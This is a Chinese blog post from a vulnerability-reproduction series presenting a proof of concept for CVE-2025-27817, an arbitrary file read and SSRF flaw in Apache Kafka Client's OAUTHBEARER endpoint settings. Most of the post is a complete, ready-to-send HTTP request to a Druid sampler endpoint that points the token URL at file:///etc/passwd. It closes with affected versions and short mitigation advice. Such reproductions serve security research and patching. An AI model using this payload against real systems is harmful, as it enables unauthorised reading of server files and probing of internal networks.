CVE-2025-27817 POC

最新推荐文章于 2025-07-11 17:38:48 发布

章鱼哥喜欢吹笛子

最新推荐文章于 2025-07-11 17:38:48 发布

阅读量653

点赞数 4

CC 4.0 BY-SA版权

分类专栏：章鱼哥漏洞复现文章标签： web安全网络安全

本文链接：https://blog.csdn.net/2301_79460640/article/details/148684087

章鱼哥漏洞复现专栏收录该内容

8 篇文章

订阅专栏

Apache Kafka Clients 任意文件读取与 SSRF 漏洞

漏洞成因

该漏洞源于Apache Kafka Client在配置SASL/OAUTHBEARER连接时，对sasl.oauthbearer.token.endpoint.url和sasl.oauthbearer.jwks.endpoint.url参数的安全控制存在缺陷。攻击者可通过构造恶意URL参数，利用该缺陷实现任意文件读取或发起SSRF请求（访问非预期目标地址）。

影响范围

3.1.0 <= Apache Kafka <= 3.9.0

漏洞复现

读取 /etc/passwd

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Referer: http://your-ip:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Content-Type: application/json

{
  "type": "kafka",
  "spec": {
    "type": "kafka",
    "ioConfig": {
      "type": "kafka",
      "consumerProperties": {
        "bootstrap.servers": "127.0.0.1:6666",
        "sasl.mechanism": "OAUTHBEARER",
        "security.protocol": "SASL_SSL",
        "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
        "sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
        "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"
      },
      "topic": "test",
      "useEarliestOffset": true,
      "inputFormat": {
        "type": "regex",
        "pattern": "([\\s\\S]*)",
        "listDelimiter": "",
        "columns": ["raw"]
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "!!!_no_such_column_!!!",
        "missingValue": "1970-01-01T00:00:00Z"
      },
      "dimensionsSpec": {},
      "granularitySpec": {
        "rollup": false
      }
    },
    "tuningConfig": {
      "type": "kafka"
    }
  },
  "samplerConfig": {
    "numRows": 500,
    "timeoutMs": 15000
  }
}

修复建议

Standalone模式：修改connect-standalone.properties中的listeners或rest.host.name字段Distributed模式：修改connect-distributed.properties中的listeners或rest.host.name字段使用流量防护设备（如WAF、防火墙）拦截/connectors接口请求中携带敏感文件路径的恶意流量